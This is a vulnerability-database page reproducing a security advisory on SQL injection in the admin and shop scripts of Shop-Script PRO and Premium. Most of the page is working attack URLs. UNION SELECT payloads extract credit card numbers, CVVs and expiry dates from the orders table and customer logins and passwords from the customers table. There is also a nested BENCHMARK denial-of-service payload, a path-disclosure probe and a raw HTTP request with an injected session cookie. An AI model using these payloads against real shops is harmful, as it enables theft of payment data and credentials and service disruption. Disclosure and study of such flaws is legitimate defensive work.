logo
DATABASE RESOURCES PRICING ABOUT US

SQL-Injection in Shop-Script PRO & Shop-Script Premium all version

Description

Advisory: SQL-Injection in Shop-Script PRO & Shop-Script Premium all version. Home Page: http://shop-script.ru Уязвимость/Vulnerability: SQL-injection в зоне администрирования. Уязвимый скрипт/Vulnerable script: admin.php http://www.demo.shop-script.ru/premium/admin.php?dpt=custord&sub=ustlist&customer_details=order_history&customerID=1[SQL] http://demo.shop-script.ru/premium/admin.php?dpt=conf&sub=setting&settings_groupID=-2[SQL] http://demo.shop-script.ru/premium/admin.php?dpt=custord&sub=new_orders&orders_detailed=yes&orderID=-107[SQL] http://shop/index.php?productID=75&discuss=true&remove_topic=-14[SQL] http://demo.shop-script.ru/premium/admin.php?dpt=catalog&sub=discuss&productID=1114&answer=-9[SQL] http://demo.shop-script.ru/premium/admin.php?dpt=catalog&sub=iscuss&productID=-1114[SQL] http://demo.shop-script.ru/premium/admin.php?dpt=reports&sub=product_report&categoryID=-82[SQL] http://demo.shop-script.ru/premium/admin.php?dpt=conf&sub=zones&countryID=-1[SQL] http://demo.shop-script.ru/pro/admin.php?dpt=conf&sub=zones&countryID=-1[SQL] Exploit: http://www.demo.shop-script.ru/premium/admin.php?dpt=reports&sub= product_report&categoryID=-82+union+select+DATABASE(),null,null,null,null,null,null/* http://www.demo.shop-script.ru/premium/admin.php?dpt=reports&sub= product_report&categoryID=-82+union+select+USER(),null,null,null,null,null,null/* http://www.demo.shop-script.ru/premium/admin.php?dpt=reports&sub= product_report&categoryID=-82+union+select+VERSION(),null,null,null,null,null,null/* http://demo.shop-script.ru/premium/admin.php?dpt=reports&sub= product_report&categoryID=-82+union+select+cc_number,cc_holdername,cc_expires,cc_cvv,null,null,null+from+SS_orders /*&sort=customers_rating&sort_dir=ASC http://demo.shop-script.ru/premium/admin.php?dpt=reports&sub= product_report&categoryID=-82+union+select+Login,cust_password,null,null,null,null,null+from+SS_customers/*&sort= customers_rating&sort_dir=ASC DDoS: http://shop/pro/admin.php?dpt=conf&sub=setting&settings_groupID=BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date))) Уязвимость/Vulnerability: Раскрытие установочного пути. http://shop/admin.php?dpt=modules&sub=shipping&setting_up=2' HTTP-запрос: GET http://demo.shop-script.ru/premium/index.php?answer=1&show_price= yes&save_voting_results=yes HTTP/1.0 Accept: */* Referer: http://demo.shop-script.ru/premium/index.php?show_price=yes Accept-Language: ru Proxy-Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: demo.shop-script.ru Cookie: PHPSESSID=9b93a5c8a536267b43a19262a1819c30' /* Все выше перечисленные уязвимости применимы и к Shop-Script PRO */ Copyright © Cyber Lords Community www.cyberlords.net